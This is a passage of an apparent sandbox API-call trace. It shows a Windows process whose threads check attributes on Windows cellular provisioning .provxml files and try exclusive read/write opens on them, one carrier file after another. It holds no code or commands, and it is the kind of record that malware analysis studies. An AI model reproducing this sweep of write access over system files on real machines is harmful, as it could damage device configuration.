Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\324__Connections_Cellular_Telecel (Paraguay)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.526] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\324__Connections_Cellular_Telecel (Paraguay)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\324__connections_cellular_telecel (paraguay)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0179.527] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\324__Connections_Cellular_Telecel (Paraguay)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.527] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe1598) returned 1 [0179.527] RtlExitUserThread (Status=0x0) Thread: id = 2897 os_tid = 0xf20 [0179.528] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\325__Connections_Cellular_Claro (Peru)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\325__connections_cellular_claro (peru)_i0$(__mvid)@wap.provxml")) returned 0x20 [0179.528] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\325__Connections_Cellular_Claro (Peru)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.528] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\325__Connections_Cellular_Claro (Peru)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\325__connections_cellular_claro (peru)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0179.528] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\325__Connections_Cellular_Claro (Peru)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.528] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f025a8) returned 1 [0179.528] RtlExitUserThread (Status=0x0) Thread: id = 2898 os_tid = 0xf24 [0179.530] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\326__Connections_Cellular_Telefonica (Peru)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\326__connections_cellular_telefonica (peru)_i0$(__mvid)@wap.provxml")) returned 0x20 [0179.530] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\326__Connections_Cellular_Telefonica (Peru)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.530] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\326__Connections_Cellular_Telefonica (Peru)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\326__connections_cellular_telefonica (peru)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0179.530] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\326__Connections_Cellular_Telefonica (Peru)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.530] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe2308) returned 1 [0179.530] RtlExitUserThread (Status=0x0) Thread: id = 2899 os_tid = 0xf28 [0179.531] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\327__Connections_Cellular_Globe (Philippines)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\327__connections_cellular_globe (philippines)_i0$(__mvid)@wap.provxml")) returned 0x20 [0179.531] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\327__Connections_Cellular_Globe (Philippines)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.532] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\327__Connections_Cellular_Globe (Philippines)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\327__connections_cellular_globe (philippines)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0179.532] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\327__Connections_Cellular_Globe (Philippines)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.532] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe2b18) returned 1 [0179.533] RtlExitUserThread (Status=0x0) Thread: id = 2900 os_tid = 0xf2c [0179.534] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\328__Connections_Cellular_Globe (Philippines)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\328__connections_cellular_globe (philippines)_i1$(__mvid)@wap.provxml")) returned 0x20 [0179.534] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\328__Connections_Cellular_Globe (Philippines)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.534] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\328__Connections_Cellular_Globe (Philippines)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\328__connections_cellular_globe (philippines)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0179.534] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\328__Connections_Cellular_Globe (Philippines)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.534] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3045158) returned 1 [0179.534] RtlExitUserThread (Status=0x0) Thread: id = 2901 os_tid = 0xf30 [0179.535] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\329__Connections_Cellular_Smart (Philippines)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\329__connections_cellular_smart (philippines)_i0$(__mvid)@wap.provxml")) returned 0x20 [0179.536] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\329__Connections_Cellular_Smart (Philippines)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.536] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\329__Connections_Cellular_Smart (Philippines)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\329__connections_cellular_smart (philippines)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0179.536] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\329__Connections_Cellular_Smart (Philippines)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.536] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3043d30) returned 1 [0179.536] RtlExitUserThread (Status=0x0) Thread: id = 2902 os_tid = 0xf34 [0179.537] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\32__Connections_Cellular_Azercell (Azerbaijan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\32__connections_cellular_azercell (azerbaijan)_i0$(__mvid)@wap.provxml")) returned 0x20 [0179.538] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\32__Connections_Cellular_Azercell (Azerbaijan)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.538] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\32__Connections_Cellular_Azercell (Azerbaijan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\32__connections_cellular_azercell (azerbaijan)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0179.538] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\32__Connections_Cellular_Azercell (Azerbaijan)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.538] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3044d50) returned 1 [0179.538] RtlExitUserThread (Status=0x0) Thread: id = 2903 os_tid = 0xf38 [0179.539] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\330__Connections_Cellular_Sun Cellular (Philippines)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\330__connections_cellular_sun cellular (philippines)_i0$(__mvid)@wap.provxml")) returned 0x20 [0179.539] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\330__Connections_Cellular_Sun Cellular (Philippines)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.540] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\330__Connections_Cellular_Sun Cellular (Philippines)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\330__connections_cellular_sun cellular (philippines)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0179.540] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\330__Connections_Cellular_Sun Cellular (Philippines)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.540] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa3c10) returned 1 [0179.540] RtlExitUserThread (Status=0x0) Thread: id = 2904 os_tid = 0x1180 [0179.596] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\331__Connections_Cellular_Orange (Poland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\331__connections_cellular_orange (poland)_i0$(__mvid)@wap.provxml")) returned 0x20 [0179.596] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\331__Connections_Cellular_Orange (Poland)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.596] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\331__Connections_Cellular_Orange (Poland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\331__connections_cellular_orange (poland)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0179.597] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\331__Connections_Cellular_Orange (Poland)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.597] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f026f0) returned 1 [0179.597] RtlExitUserThread (Status=0x0) Thread: id = 2906 os_tid = 0xf44 [0180.144] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\332__Connections_Cellular_PLAY (Poland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\332__connections_cellular_play (poland)_i0$(__mvid)@wap.provxml")) returned 0x20 [0180.148] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\332__Connections_Cellular_PLAY (Poland)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.148] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\332__Connections_Cellular_PLAY (Poland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\332__connections_cellular_play (poland)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.149] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\332__Connections_Cellular_PLAY (Poland)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.149] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f03278) returned 1 [0180.149] RtlExitUserThread (Status=0x0) Thread: id = 2907 os_tid = 0xf48 [0180.150] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\333__Connections_Cellular_PL-PLUS (Poland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\333__connections_cellular_pl-plus (poland)_i0$(__mvid)@wap.provxml")) returned 0x20 [0180.150] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\333__Connections_Cellular_PL-PLUS (Poland)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.151] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\333__Connections_Cellular_PL-PLUS (Poland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\333__connections_cellular_pl-plus (poland)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.151] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\333__Connections_Cellular_PL-PLUS (Poland)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.151] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3044aa0) returned 1 [0180.151] RtlExitUserThread (Status=0x0) Thread: id = 2908 os_tid = 0xf4c [0180.152] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\334__Connections_Cellular_T-Mobile Poland (Poland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\334__connections_cellular_t-mobile poland (poland)_i0$(__mvid)@wap.provxml")) returned 0x20 [0180.152] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\334__Connections_Cellular_T-Mobile Poland (Poland)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.152] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\334__Connections_Cellular_T-Mobile Poland (Poland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\334__connections_cellular_t-mobile poland (poland)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.152] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\334__Connections_Cellular_T-Mobile Poland (Poland)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.152] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa2428) returned 1 [0180.152] RtlExitUserThread (Status=0x0) Thread: id = 2909 os_tid = 0xf50 [0180.153] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\335__Connections_Cellular_Optimus (Portugal)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\335__connections_cellular_optimus (portugal)_i0$(__mvid)@wap.provxml")) returned 0x20 [0180.154] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\335__Connections_Cellular_Optimus (Portugal)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.154] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\335__Connections_Cellular_Optimus (Portugal)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\335__connections_cellular_optimus (portugal)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.154] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\335__Connections_Cellular_Optimus (Portugal)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.154] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3043a80) returned 1 [0180.154] RtlExitUserThread (Status=0x0) Thread: id = 2910 os_tid = 0xf54 [0180.155] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\336__Connections_Cellular_TMN (Portugal)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\336__connections_cellular_tmn (portugal)_i0$(__mvid)@wap.provxml")) returned 0x20 [0180.155] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\336__Connections_Cellular_TMN (Portugal)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.155] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\336__Connections_Cellular_TMN (Portugal)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\336__connections_cellular_tmn (portugal)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.155] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\336__Connections_Cellular_TMN (Portugal)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.155] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f021d0) returned 1 [0180.155] RtlExitUserThread (Status=0x0) Thread: id = 2911 os_tid = 0xf58 [0180.156] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\337__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\337__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 0x20 [0180.157] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\337__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", dwFileAttributes=0x20) returned 0 [0180.157] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\337__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\337__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.157] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\337__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", dwFileAttributes=0x20) returned 0 [0180.157] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30443e8) returned 1 [0180.157] RtlExitUserThread (Status=0x0) Thread: id = 2912 os_tid = 0xf5c [0180.158] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\338__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\338__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20 [0180.158] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\338__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 0 [0180.158] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\338__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\338__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.158] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\338__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 0 [0180.158] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30545c0) returned 1 [0180.158] RtlExitUserThread 